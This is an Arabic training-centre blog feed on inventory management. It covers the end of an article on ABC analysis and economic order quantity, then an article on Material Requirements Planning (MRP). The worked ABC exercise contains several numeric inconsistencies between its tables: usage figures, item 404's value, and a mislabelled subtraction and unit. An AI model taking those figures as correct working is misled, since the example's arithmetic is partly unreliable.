3- عناصر القسم  جـ ( C ) وتمثل الباقي من عناصر المخزون وتتراوح نسبتها ما بين 50 –75% من العناصر والتى لا يتعدى قيمة الاستخدام السنوى لها إلى الاستخدام الكلي للعناصر المخزونة ما بين 5 – 10% وهذه الفئة تضم معظم الأصناف ولكنها تستوعب نسبة منخفضة من تكلفة الإنتاج وغالبا ما تتسم بانخفاض معدل دوران المخزون منها

 

ويتطلب تطبيق هذا النظام (ABC ) الثلاثي ضرورة اتباع الخطوات التالية :-

=======================

  • تحديد الأصناف التي سيتم استخدامها سنويا .
  • يتم حساب قيمة المستخدم من كل صنف من الأصناف المخزونة سنويا ويقصد بذلك تحديد قيمة الاستخدام السنوى غالبا ما يفضل إعداد هذا الحساب بناء على التنبؤ باحتياجات السنة القادمة والذي يعد النظام لتطبيقه فيه .
  • القيام بترتيب الأصناف ترتيبا تنازليا وفقا لقيمة الاستخدام السنوى حيث يبدأ الترتيب بالأكبر قيمة ثم الأصغر وهكذا مع إعطاء رقم مسلسل لكل صنف منها .
  • استخراج القيمة الإجمالية المجمعة للاستخدام السنوى ( المتجمع الصاعد ) على أساس الترتيب الناتج من الخطوة السابقة .
  • استخراج النسب المئوية المجمعة لإجمالي المستخدم من الأصناف وأيضا النسب المئوية المجمعة لعدد الأصناف مقابل النسب المئوية لإجمالي المستخدم من الأصناف .
  • إعداد رسم بياني يوضع على المحور الأفقي النسب المئوية المجمعة لإجمالي الأصناف وعلى المحور الرأسى النسب المئوية المجمعة لقيمة الاستخدام السنوى للأصناف .
  • رسم منحنى المتجمع الصاعد والذي عن طريقه يمكننا تحديد التقسيمات الثلاثة السابقة أ ، ب ، جـ في ضوء الاسترشاد بتغيرات منحنى المتجمع الصاعد من نقطة إلى أخرى .
  • إعداد جدول مبسط يوضح نتائج النظام الرقابي السابق لمجموعات الأصناف المخزونة الثلاثة من حيث نسبة أصناف كل مجموعة ونسبة قيمة الاستخدام السنوى لها .

تمــريــن

بوصفك أمين مخزن، استدعاك مدير المخازن طالبًا منك عمل التحليل الثلاثي لأصناف المخزون لديك، وقد أعطاك القائمة التالية التي توضح رقم الصنف، ومعدل الاستخدام السنوي، وتكلفة الوحدة خلال العام السابق.

الرقم الكودي للصنف معدل الاستخدام السنوي (وحدة) تكلفة الوحدة (جنيـه)
401 25000 0.11
402 275000 0.14
403 3000 0.09
404 107000 0.04
405 4000 0.05
406 232000 0.95
407 14000 0.07
408 78000 0.08
409 63000 0.25
410 7000 0.12

الخطوات :

الخطوة الأولي :

أوجد قيمة الاستخدام السنوي لكل صنف :

قيمة الاستخدام السنوي = معدل الاستخدام السنوي × تكلفة الوحدة

الخطوة الثانية :

رتب الأصناف ترتيبًا تنازليًا طبقًا لقيمة الاستخدام السنوي :

الخطوة الأولي الخطوة الثانية
الرقم الكودي للصنف معدل الاستخدام السنوي (وحدة) تكلفة الوحدة (جنيه) قيمة الاستخدام السنوي (جنيه) الترتيب التنازلي
401 2500 0.11 2750 6
402 2750 0.14 38500 2
403 300 0.09 270 9
404 10700 0.04 4280 5
405 400 0.05 200 10
406 23200 0.95 220400 1
407 1400 0.07 980 7
408 7800 0.08 6240 4
409 6300 0.25 15750 3
410 700 0.12 840 8
إجمالي قيمة الاستخدام السنوي

الخطوة الثالثة :

سجل الأصناف تنازليًا وفقًا لقيمة الاستخدام السنوي وذلك في الجدول التالي :

الخطوة الثالثة الخطوة الرابعة الخطوة الخامسة
الرقم الكودي قيمة الاستخدام السنوي القيمة المتجمعة النسبة المتجمعة

%
406 220400 220400 75.80%
402 38500 258900 89.05%
409 15750 274650 94.46%
408 6240 280890 96.61%
404 4820 285710 98.27%
401 2750 288460 99.21%
407 980 289440 99.55%
410 840 290280 99.84%
403 270 290550 99.93%
405 200 290750 100%
المجموع 290750 – –

الخطوة الرابعة :

أوجد القيمة المتجمعة للأصناف وفقًا للترتيب المحدد بالخطوة (3) :

القيمة المتجمعة المسجلة أمام صنف ما

= القيمة المتجمعة للأصناف السابقة + قيمة الاستخدام السنوي للصنف

الخطوة الخامسة :

أوجد النسبة المتجمعة للأصناف من واقع القيم المتجمعة التي حصلت عليها في الخطوة الرابعة :

نسبة القيمة المتجمعة المسجلة أمام صنف ما

= القيمة المتجمعة المسجلة أمام الصنف + إجمالي قيمة الاستخدام السنوي × 100

الخطوة السادسة : ملخص النتائج :

 

المجموعة (أ) (القلة الهامة ) :

  • نسبة عدد الأصناف = 20%
  • عدد الأصناف = 0.2 × 10 = 2 صنف
  • وهما الصنفان رقمي : 406 ، 402
  • قيمة الاستخدام السنوي = 258900 جنيه
  • نسبة قيمة الاستخدام السنوي = 89.05%

المجموعة (ب) (الوسط) :

  • نسبة عدد الأصناف = 30%
  • عدد الأصناف = 0.3 × 10 = 3 صنف
  • وهما الأصناف أرقام : 409، 408، 404
  • قيمة الاستخدام السنوي = 285710 – 258900 = 26810 جنيه
  • نسبة قيمة الاستخدام السنوي = 98.27% – 89.05% = 9.22%

 

المجموعة (ج) (الكثرة غير الهامة) :

  • نسبة عدد الأصناف = 50%
  • عدد الأصناف = 0.5 × 10 = 5 جنيه
  • وهما الأصناف أرقام : 401، 407، 410، 403، 405
  • قيمة الاستخدام السنوي = 290750 – 25710 = 5040 جنيه
  • نسبة قيمة الاستخدام السنوي = 100% – 98.27% = 1.73%

قواعد وإرشادات التخطيط والرقابة لعناصر المجموعة الأولى :

=================================

  • تحتاج هذه المجموعة إلى نظام رقابي متشدد نظرا لإرتفاع قيمة الإستخدام السنوي منها .
  • تحتاج هذه المجموعة إلى المراجعة الدورية على فترات متقاربة لمستويات التخزين ومعدلات الإستخدام .
  • توخي الدقة في دراسة الأسواق والتنبؤ بالإحتياجات من عناصر هذه المجموعة ، مع تحديث المعلومات المتعلقة بكل عنصر .
  • ضرورة متابعة حركة الصنف دوريا وبشكل منتظم .
  • تحديد نقطة إعادة الطلب وكمية الشراء بكل دقة مع مراجعة تكلفة التوريد ومعدلات الإستخدام في كل مرة يعاد فيها طلب الصنف .
  • العمل على تخفيض مخزون الأمان إلى أقل حد ممكن .
  • العمل على تنوع مصادر الشراء وتعددها .
  • الإهتمام بأساليب تحليل القيمة لهذه الأصناف .
  • العمل على تقليل العادم والتالف والمتقادم والفائض من هذه الأصناف .
  • اتباع مركزية الشراء والتخزين لهذه الأصناف .

 

أوجه الاستفادة من نتائج التحليل :

(أ)من حيث درجة الرقابة :

  • المواد والأجزاء في المجموعة (أ)، يجب أن تخضع لأقصى درجة ممكنة من الرقابة، مع مراعاة متسمرة أو دورية علي فترات متقاربة (أسبوعيًا متصلاً) لمستوي المخزون منها، ومتابعة دقيقة لمواعيد التوريد المتفق عليها.
  • المواد الأجزاء في المجموعة (ب)، تخضع لرقابة عادية، مع مراجعة دورية علي فترات أكثر تباعداً (كل أسبوعين مثلاً) لمستوي المخزون منها.
  • المواد والأجزاء في المجموعة (ج)، تخضع لأقل درجة من درجات الرقابة مع مراجعة دورية علي فترات متباعدة (كل شهر مثلاً) لمستوي المخزون منها.

 

(ب)من حيث طبيعة السجلات المستخدمة :

  • المواد والأجزاء في المجموعة (أ)، يجب أن يتوفر لها سجلات كاملة ودقيقة، مع مراجعة حسابية مستمرة لهذه السجلات ومراقبة دقيقة للتالف والمرفوض منها.
  • المواد والأجزاء في المجموعة (ب)، يجب أن يتوفر لها سجلات عادية ولكن جيدة، مع مراجعة حسابية علي فترات متباعدة لهذه السجلات ومراقبة عادية للتالف والمرفوض منها.
  • المواد والأجزاء في المجموعة (ج)، يحتفظ لها بأبسط أنواع السجلات.

 

(ج)من حيث إجراءات الطلب والتوريد :

  • المواد والأجزاء في المجموعة (أ)، يجب أن تخضع للتحديد الدقيق للحجم الأمثل للطلبية ونقطة إعادة الطلب، مع بذل الجهود المستمرة لخفض فترات التوريد إلي أدني حد ممكن.
  • المواد والأجزاء في المجموعة (ب)، يجب أن يتحدد لها الحجم الأمثل للطلبية ونقطة إعادة الطلب ولكن ليس بالدقة التي يجب أن تتم للمواد والأجزاء في المجموعة (أ).
  • المواد والأجزاء في المجموعة (ج)، قد لا يتبع لها أي سياسة علمية لمراقبة المخزون ( علي عكس المجموعتين أ،ب)، للوصول إلي التكاليف الدنيا للمخزون، ويمكن شراء الاحتياجات السنوية من هذه الأصناف دفعة واحدة، بشرط عدم انتهاء فترة صلاحيتها خلال العام.

 

ما هية الكمية الإقتصادية للشراء :

===================

تعرف الكمية الإقتصادية للشراء بأنها :أنسب كمية يتم شراؤها في المرة الواحدة . كما أنها تعرف بأنها الكمية التي تتحمل الشركة عندها بأقل تكاليف توريد ، وتكاليف تخزين ممكنة . بمعني أن مجموع تكاليف التوريد وتكاليف التخزين عندها تكون أقل ما يمكن .

كما تعرف الكمية الإقتصادية للشراء بأنها الكمية التي تتساوي عندها تكاليف التوريد مع تكاليف التخزين

       وعليه فإن الحجم الأمثل للطلبية :

هو الحجم الذي يحمل الشركة أدني قدر ممكن من التكاليف .

 

يرتكز أسلوب الكمية الاقتصادية  للشراء على نظامين لتخطيط ومراقبة المخزون :

– يرتبط النظام الأول بنظام الطلب الدوري ، ويعتبر عنصر الزمن الأساس الذي يقوم عليه هذ1 النظام حيث تتم مراجعة جميع أصناف المخزون في مواعيد دورية وفقا لبرنامج ثابت لتحديد مستوى المخزون من كل صنف ، وإذا وجد أنه لا يكفى للوفاء باحتياجات الإنتاج حتى تاريخ المراجعة التالية فإن إدارة المشتريات تقوم بإصدار أمر شراء بالكمية المطلوبة لإعادة تموين المخازن وبناء على هذا النظام يختلف موعد المراجعة من صنف لأخر ، طبقا لاعتبارات أهمية الصنف وظروف العرض والطلب في السوق، ومصدر التوريد ومعدلات استخدامه…الخ،كذلك تختلف الكمية التي يتم طلبها من صنف لآخر وفقا للفترة الزمنية الثابتة التي تغطيها هذه الكمية.

 

   ولكن يشوب هذا النظام عدة عيوب أهمها :

يتم تحديد كمية الشراء دون مراعاة الكمية الإقتصادية الأمر الذي يزيد من تكلفة الشراء وعدم الاستفادة من خصم الكمية

 تحمل إدارة المشتريات لعبء كبير مركز في فترات زمنية محددة لتدبير احتياجات المخازن .

 يؤدى اختلاف معدلات الاستخدام من صنف لآخر إلى الحاجة لشراء أصناف قبل القيام بعملية المراجعة وتحديد مستوى المخزون .

 

– أما النظام الثاني: فيطلق عليه نظام كمية الطلب الثابتة،أو أسلوب الكمية الاقتصادية للشراء، وتطبيق هذا النظام عند تخطيط ومراقبة المخزون يتطلب الآتي:

 التحديد المسبق لكمية ثابتة يتم طلبها في كل مرة من مرات الشراء، وتسمى الحد الأقصى للشراء،ويمثل أكبر كمية من المخزون يتم الاحتفاظ بها في المخازن لمواجهة أية تغييرات غير متوقعة سواء في سوق المواد الخام،أو زيادة حجم و معدل نمو الإنتاج .

 

 تحديد نقطة إعادة الطلب : وهي النقطة التي عندها يتم اتخاذ قرار إعادة الشراء،لإمداد المخازن بالكميات التي تزيد من حجم المخزون حتى يصل إلى مستوى الحد الأقصى للمخزون .

 

تحديد حد الأمان ( مخزون الطوارئ ) ويعبر عن أقل كمية يمكن الاحتفاظ بها بالمخازن بما يوفر درجة من الأمان للمخزون ضد أي تغييرات فجائية.

والشكل التالي يوضح هذه الحدود:

 

                      الحد الأقصى للمخزون

 

                        نقطة إعادة الطلب

                     

                       الحد الأدنى للمخزون

ومن أهم المزايا التي يحققها هذا النظام فيما يلي :

شراء الكمية الاقتصادية من كل صنف.

توجيه جهود العاملين في المشتريات والمخازن ،نحو الأصناف التي يتطلب موقفها إعادة الشراء وتموين المخازن .

إمكانية ممارسة رقابة إيجابية على المخزون ،وتحديد الأموال المستثمرة فيه طبقا للحدود الثلاثة للتخزين.

 

ويتطلب تحديد الكمية الاقتصادية للشراء ، تحليل جميع عناصر التكاليف المرتبطة بالكمية التي يتم شرائها ، وهذه التكاليف يمكن تقسيمها إلى مجموعتين هما :

1) تكاليف الاحتفاظ بالمخزون : وأهم عناصرها الفائدة على رأس المال المستثمر في المخزون والتي يجب أن تساوي الفائدة التي يمكن الحصول عليها لو استثمر المبلغ في مجال استثماري

آخر داخل أو خارج المنظمة ، وهذا ما يسمى بتكلفة الفرصة البديلة ، توجد تكاليف التأمين على الأصناف المخزنية ، وتكاليف التخزين ، وتكلفة التقادم والتلف المتوقع في عناصر المخزون .

 

2) تكلفة الحصول على المخزون : وهي تتضمن عناصر التكاليف غير المباشرة المتعلقة بالمخزون ، مثل تكاليف إعداد وإصدار أمر الشراء ، والأعمال الكتابية والإدارية .

ويلاحظ ما يلي :

=========

تكاليف الإحتفاظ بالمخزون تتناسب طرديا مع حجم المخزون .

 تكاليف الحصول على المخزون ترتبط بعدد أوامر الشراء ولذلك تتناقص تلك التكاليف بتزايد الكمية المشتراه (تناسب عكسي ) . 

ويمكن تحديد الكمية الإقتصادية بعدة طرق أهمها :

الطريقة الحسابية (طريقة الجدول ) .

 الطريقة الجبرية ( طريقة المعادلة ) .

 

وقبل مناقشة كيفية تحديد الكمية الإقتصادية للشراء بإستخدام كل طريقة من الطريقتين السابقتين نوضح يما يلي أهم الرموز التي سيتم إستخدامها:

ك    = كمية التوريد من صنف معين .

ص  = تكلفة أمر التوريد (تكلفة الحصول على المخزون ) .

ظ   = تكلفة الاحتفاظ بالمخزون .

ج   = إجمالي الإحتياجات السنوية .

ر   = ثمن شراء الوحدة من صنف معين .

وتعرف الكمية الإقتصادية للشراء بأنها الكمية التي تحمل الشركة أو المنظمة بأقل تكاليف ممكنة(تكاليف تخزين + تكاليف توريد ) .

 

وعادة ما تتساوى تكاليف التخزين مع تكاليف التوريد عند الحجم الإقتصادى للشراء .

1- الطريقة الحسابية (طريقة الجدول ) .

تمرين :

====

تحتاج إحدى شركات إنتاج السيارات إلى 12000خزان وقود سنويا لإنتاج نوع معين من أنواع السيارات ،ثمن شراء الخزان الواحد 5 جنيهات ، ويتسم انتاج هذا النوع من السيارات بالثبات على مدى العام . وتقدر تكاليف أمر التوريد الواحد بـ 10جنيهات ، كما تقدر تكلفة الإحتفاظ بالمخزون بـ 3% من متوسط قيمة المخزون السنوى ، وتتمثل سياسة الشركة في الإحتفاظ بمخزون أمان مقداره 100خزان .

المطلوب :

 تحديد الكمية الإقتصادية للشراء بطريقة الجدول ؟ 

 

الحـــل

طبقا لهذه الطريقة يتم حساب تكاليف التخزين ، وتكاليف التوريد عند عدد من مستويات مختلفة من الكمية المشتراة ، وبالتالي يتم الشراء بالكمية التي يتحقق عندها أقل إجمالي تكاليف تخزين وتكاليف توريد .

والجدول التالي يوضح كيفية تطبيق هذه الطريقة . 

إجمالي التكاليف تكلفة أمر التوريد تكلفة التخزين متوسط المخزون كمية الشراء عدد مرات الشراء
910 10 900 6000 12000 1
470 20 450 3000 6000 2
330 30 300 2000 4000 3
265 40 225 1500 3000 4
230 50 180 1200 2400 5
210 60 150 1000 2000 6
198.5 70 128.5 857 1714 7
192.5 80 112.5 750 1500 8
190.2 90 100,2 667 1333 9
190 100 90 600 1200 10
192 110 82 545 1090 11
195 120 75 500 1000 12

  

ويلاحظ من الجدول السابق :

أن تكاليف التخزين تقل كلما إنتقلنا من مستوى شراء أعلى إلى مستوى أقل .

 أن تكاليف التوريد(الحصول على المخزون) تزيد كلما إنتقلنا من مستوى شراء أعلى إلى مستوى شراء أقل .

 أن إجمالي التكليف تأخذ في الإنخفاض كلما إنتقلنا من مستوى شراء أعلى إلى مستوى أقل حتى نصل إلى نقطة معينة ثم تأخذ بعد ذلك في الإرتفاع مرة ثانية .

 أن مستوى الشراء الذي يحقق أقل إجمالي تكاليف يعبر عن الكمية الإقتصادية للشراء .وهو كما يتضح من الجدول السابق يتمثل في شراء 1200خزان تقريباً في المرة الواحدة .

2- الطريقة الجبرية ( طريقة المعادلة ) .

تقوم هذه الطريقة على أساس أن الكمية الإقتصادية تتحقق عندما تكون :

تكلفة الحصول على المخزون (تكلفة التوريد)

            = تكلفة التخزين(ت.الإحتفاظ بالمخزون ) .

وحيث أن :

تكلفة التوريد =( الإحتياجات السنوية÷الكمية الإقتصادية)×تكلفة

                                  إصدار أمر التوريد الواحد .

             = ج/ك × ص .

– وتكلفة التخزين =متوسط تكلفة المخزون × نسبة تكلفة التخزين .

                = ك×ر/2×ظ .

 

وهذا يعني أن :

ج×ص                   ك×ر×ظ

_____         =     ________

  ك                          2

وبضرب الوسطين في الطرفين إذا :

 

ظ ك2ر      = 2ج ص

 

أي أن :

             2ج ص

ك2   =    ______

              ظ ر

      

=    2 × تكلفة إصدار الطلبية × كمية الطلب خلال السنة × تكلفة تخزين الوحدة

 

 

 

 

 

 

 

 

 

 

وإذا طبقنا المعادلة السابقة من واقع بيانات التمرين السابق نحصل على النتيجة التالية :

 

            2ج ص

 ك  =     ______

              ظ ر

 

   

         2 × 12000 × 10

ك   =  _______________

             0.03 × 5

         

ك   = 1600000

 

ك (الكمية الإقتصادية للشراء )   = 1264 خزان . 

*   *   *

انتهت بحمد الله المقالة السادسة لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/material_requirements_planning-6/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88-2/ https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88-2/#respond Wed, 05 Apr 2023 15:55:24 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10394 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة الخامسة نظام تخطيط الإحتياجات من المواد والمعروف بالـ M.R.P مفهوم تخطيط الإحتياجات من المواد . المقومات والركائز التي يقوم عليها نظام R.P أهداف نظام تخطيط الإحتياجات من المواد . مكونات نظام تخطيط الإحتياجات من المواد . شروط إستخدام نظام تخطيط الإحتياجات […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة الخامسة

نظام تخطيط الإحتياجات من المواد والمعروف بالـ M.R.P

  • مفهوم تخطيط الإحتياجات من المواد .
  • المقومات والركائز التي يقوم عليها نظام R.P
  • أهداف نظام تخطيط الإحتياجات من المواد .
  • مكونات نظام تخطيط الإحتياجات من المواد .
  • شروط إستخدام نظام تخطيط الإحتياجات من المواد .

مقدمة :

تحتاج المنظمات بشكل عام والمنظمات الصناعية بشكل خاص للتعامل مع العديد من المنتجات والعمليات والأجزاء، وهذا يتطلب وجود نظام للإدارة معتمد على الحاسب يقوم على مراقبة متطلبات المنظمة من المواد المختلفة، ويسمي هذا النظام بـ تخطيط الاحتياجات من المواد، والمعروف بـ  Material Requirements Planning ويختصر بـ MRP.

ويعد نظام تخطيط الإحتياجات من المواد من النظم الفرعية لنظام معلومات الإنتاج في المنظمات الصناعية، حيث يتكون نظام تخطيط الإحتياجات من المواد من نشاطين رئيسين في العمليات التصنيفية وهي: إدارة المخزون و الجدولة. و الغرض الرئيسي من إدارة المخزون هو التأكد من المخزون من أن الموادالخام متاحة في الوقت المطلوب للإنتاج. و الجدولة تكمل إدارة المخزون فهي تحدد – بالإضافة إلى المخزون من المنتجات النهائية- كفاءة استخدام الإمكانيات الإنتاجية و تقلل من الوقت العاطل وتسمح بصيانة المعدات.

  ولقد نشأ نظام تخطيط الاحتياجات من المواد ومختصره

( Material Requirement Planning ) في بداية عام 1960 في الولايات المتحدة الأمريكية كأسلوب محوسب لتخطيط عملية الحصول على المواد والسيطرة على الإنتاج ووضع الطلبيات وخفض المخزون إلى الحد الأدنى لتحقيق الميزة التنافسية في البيئة الصناعية الحديثة .

ويعتبر من أحدث الاتجاهات الفكرية والتطبيقية في مجالات الإنتاج والمخزون ,ومدخلاً جديداً وبديلاً لنظم تخطيط الإنتاج والمخزون التقليدية مثل نماذج الدفعة الإنتاجية ,الكمية الاقتصادية للطلب , ونقطة إعادة الطلب فهذه النظم شابها الكثير من أوجه القصور بسبب عدم واقعية الافتراضات التي بنيت عليها من حيث حجم الطلب ومعدلات الاستخدام وتجاهل تأثير العوامل والمتغيرات البيئية على تخطيط الإنتاج والعمليات .

وتقوم فكرة وفلسفة نظام تخطيط الاحتياجات من المواد على أنه نظام معلومات يعنى بتنظيم الجهود نحو الحصول على المواد المناسبة في الوقت المناسب أو بمعنى آخر توفير كافة مستلزمات العملية الإنتاجية التي يتم تحديدها للمنتجات الواردة في جدولة الإنتاج الرئيسة في الوقت المناسب

( وهذه المستلزمات قد تكون مواد أولية أساسية أو منتجات غير تامة الصنع) . لقد كان هذا النظام ثورة كبيرة في أيامه الأولى فقد أدخل الحواسيب والتخطيط المنظم في عملية الإنتاج .

يعتبر هذا النظام نظاما مستقلا عن النظم الأخرى والتي تركز أساسا على المخزون نظرا لتركيز هذا النظام على جداول وخطط الإنتاج بأبعادها الكمية والنوعية والزمنية .

     ويعتمد تنفيذ هذا النظام على مجموعة من الاعتبارات الرئيسية التي يجب مراعاتها بدقة وهي : 

  • وجود خطط أو جداول رئيسية للإنتاج كمستندات توضح كمية مخرجات الإنتاج في كل فترة زمنية .
  • قائمة بالمواد توضح الأجزاء الرئيسية والفرعية الداخلة في تشكيل وتركيب المنتجات النهائية أو النصف مصنعه أو الخامات
  • وجود سجلات دقيقة للمخازن توضح الموقف الخاص بكل عنصر في وقت معين .
  • سجلات توضح الطلبات الخارجية للمكونات بمعنى تحديد للطلبات الحالية لدى الموردين لمختلف الأجزاء أو المكونات .

 

 

    ويتميز نظام تخطيط الاحتياجات من المواد بعدم الحاجة كما تقول الطرق السابقة في الرقابة على المخزون إلى مخزون الأمان أو ما يسمي بمخزون إحتياطي طوارئ.  

 

مفهوم تخطيط الإحتياجات من المواد :

====================

يعرف البعض نظام تخطيط الإحتياجات من المواد بأنه ” هو نظام لتخطيط الإنتاج ومراقبة المخزون آلياً والمساعدة في حساب الطلب على المواد المكونة للمنتجات النهائية سواء كانت سلع أو خدمات وتوفير هذه المواد وفقاً لمتطلبات خطة الإنتاج وفي الوقت المطلوب دون اللجوء إلى التخزين الكبير والمستمر من هذه المواد , إذ تشير الدراسة إلى أن كلفة التخزين في المنظمات الصناعية قد تصل إلى 30% من قيمة المخزون “.

هو أسلوب يعتمد على ترجمة جداول الإنتاج الرئيسية ، إلى طلب على المواد الخام والأجزاء وعناصر الإمدادات الأخرى .

 

أي أنه بدون وجود جداول تشغيل رئيسية متضمنة:

  • أنواع المنتجات/ الخدمات النهائية.
  • الكمية التي تقدم من كل منتج أو خدمة خلال فترات الخطة .
  • توقيتات الإنتاج /تقديم الخدمات .

فلن يمكن تخطيط الإحتياجات من المواد بفعالية .

 

إن تخطيط الإحتياجات من المواد ليس أسلوبا جديداً لتحديد الإحتياجات المتوقعة من المواد ولكنه فلسفة يجب أن يقتنع بها كل مسئول في المنظمة .

 

خطوات إعداد نظام الاحتياجات من المواد :

========================

يتطلب إعداد نظام الاحتياجات من المواد ضرورة إتباع الخطوات التالية :

1 _ تحديد التركيبة الفنية للمنتج ( شجرة المنتج ) :

وهي توضح المنتج النهائي والأجزاء الرئيسة المكونة له بشكل هرمي متدرج بدءاً من المنتج النهائي في أعلى مستوى إلى أصغر جزء مكون له في أدنى مستوى .

2 _ تحديد الاحتياجات الإجمالية :

يتم الحصول على الاحتياجات الإجمالية للمنتج النهائي من جدول الإنتاج مباشرة .

3 _ تحديد الكميات المتاحة للاستخدام :

تمثل الكميات المتاحة للاستخدام تلك الكميات التي يكون للمنظمة الحق في إستخدامها أو التصرف فيها وذلك خلال الفترة الزمنية المحددة وحسابها يتطلب ضرورة تحديد الرصيد الفعلي للمخزون وهو الذي يمثل الكمية الموجودة فعلاً بالمخازن بما في ذلك كمية الأمان .

4 _ تحديد صافي الاحتياجات من المواد :

ويقصد بها الكميات الإضافية الواجب شرائها أو إنتاجها من أجزاء المنتج وذلك بغية تلبية محتويات جدولة الإنتاج

صافي الاحتياجات = الاحتياجات الإجمالية _ الكميات المتاحة للاستخدام .

5 _ تحديد الأوامر المخططة :

يتم في هذه الخطوة تحديد أوقات وأحجام الشراء

بالنسبة لوقت الشراء فهو الذي يتم فيه إصدار أمر الشراء بحيث يضمن وصول المواد والأجزاء المطلوبة في مواعيدها المحددة .

أما بالنسبة لحجم الشراء فهو نفسه كمية صافي الاحتياجات من المواد أو الأجزاء المطلوبة .   

 

 

المقومات والركائز التي يقوم عليها نظام تخطيط الإحتياجات من المواد:

=====================================

يعتبر هذا النظام نظاما مستقلا عن النظم الأخرى والتي تركز أساسا على المخزون نظرا لتركيز هذا النظام على جداول وخطط الإنتاج بأبعادها الكمية والنوعية والزمنية .

 

     ويعتمد تنفيذ هذا النظام على مجموعة من الاعتبارات الرئيسية التي يجب مراعاتها بدقة وهي : 

  • وجود خطط أو جداول رئيسية للإنتاج كمستندات توضح كمية مخرجات الإنتاج في كل فترة زمنية .
  • قائمة بالمواد توضح الأجزاء الرئيسية والفرعية الداخلة في تشكيل وتركيب المنتجات النهائية أو النصف مصنعه أو الخامات
  • وجود سجلات دقيقة للمخازن توضح الموقف الخاص بكل عنصر في وقت معين .
  • سجلات توضح الطلبات الخارجية للمكونات بمعنى تحديد للطلبات الحالية لدى الموردين لمختلف الأجزاء أو المكونات .

 

ويرجع منطق تخطيط الاحتياجات إلى عاملين هامين هما :

أولا : أن هناك تداخل في الطلب على العنصر الواحد من أكثر من جهة وتمكن هذه الطريقة من إمكانية حصر جهات الطلب على العنصر الواحد .

 

ثانيا : هي القدرة على تحديد الاحتياجات الحقيقية عن طريق الأخذ في الاعتبار الكمية المتاحة في المخازن والكميات تحت الطلب .  

 

يقوم نظام تخطيط الإحتياجات من المواد على ركيزتين أساسيتين هما :

  • حساب حجم الطلب على العنصر المكون ، والأجزاء أياً كانت درجات تصنيعها ، وهذا الحجم بالطبع يتحدد في ضوء حجم الطلب على المنتج /أو الخدمة النهائي ، والذي يتحدد بدوره بناءاً على تقديرات المبيعات المتوقعة .
  • البعد الزمنى لتقدير الإحتياجات .

     ويتميز نظام تخطيط الاحتياجات من المواد بعدم الحاجة كما تقول الطرق السابقة في الرقابة على المخزون إلى مخزون الأمان “الاحتياطي ” ، وذلك للأسباب التالية : 

  • تقليل عنصر عدم التأكد بالنسبة للطلب على العناصر المختلفة .
  • تقليل عنصر عدم التأكد بالنسبة لعملية الإمداد عن طريق اتخاذ هامش معين يضمن سلامة التقديرات .

 

أهداف نظام تخطيط الإحتياجات من المواد :

=======================

تحسين علاقة الشركة مع العملاء وذلك من خلال زيادة معدلات الإلتزام بمواعيد التسليم .

تخفيض حجم المستثمر في الموجودات المخزنية .

الرقابة على تدفقات المواد الداخلة إلى الشركة سواء من حيث : النوعية ، الكمية ، التوقيت الزمني .

تخفيض تكلفة الإنتاج سواء الثابتة أو المتغيرة من خلال :

تخفيض حالات عدم توافر المواد.

تخفيض معدلات الإنتاج المعيب بسبب عيوب في الأجزاء .

 

ما يترتب على المنظمة :

إن المنظمات التي تتبنى نظام MRP تشق طريقها للنجاح والريادة في ميدان عملها لما له من فوائد ومزايا عدة للمنظمة فهو يزيد من مقدرتها على مواجهة التغيرات في طلبات الزبائن ويحسن من خدمة الزبون بسبب تقصير فترة التسليم ,ويساعد على الاستخدام الأفضل لعناصر الإنتاج ( العمل,الآلات,المواد ) وتحقيق استجابة أسرع لتغيرات وتبدلات السوق .

ونظراً لأن منظمات اليوم لا تقوم بإنتاج نوع واحد من المنتجات بل أنواع متعددة وضمن كل نوع توجد أصناف عدة مما يجعل هذه المنظمات تتعامل   

مع أعداد هائلة من المواد الأولية التي تدخل في تركيب منتجاتها .

ونظام MRP هو الذي يوفر هذه المواد في الوقت المناسب وبالكمية المناسبة وبالتالي عدم تبني المنظمة لمثل هذا النظام يؤدي بها بالطبع لنتائج كارثية هي بغنى عنها .

يمكن القول أخيراً بأن نظام MRP أكثر من نظام لمراقبة المخزون إنه في الحقيقة نظام لجدولة الإنتاج كله لا بل فهو يمثل القلب النابض لنظام الإنتاج والعمليات باعتباره وسيلة تحقيق التكامل بين كل الأنشطة في المنظمات الصناعية بدءاً من عملية التنبؤ بالطلب على المنتجات النهائية وانتهاءً ببيانات التغذية العكسية من خطوط الإنتاج .  

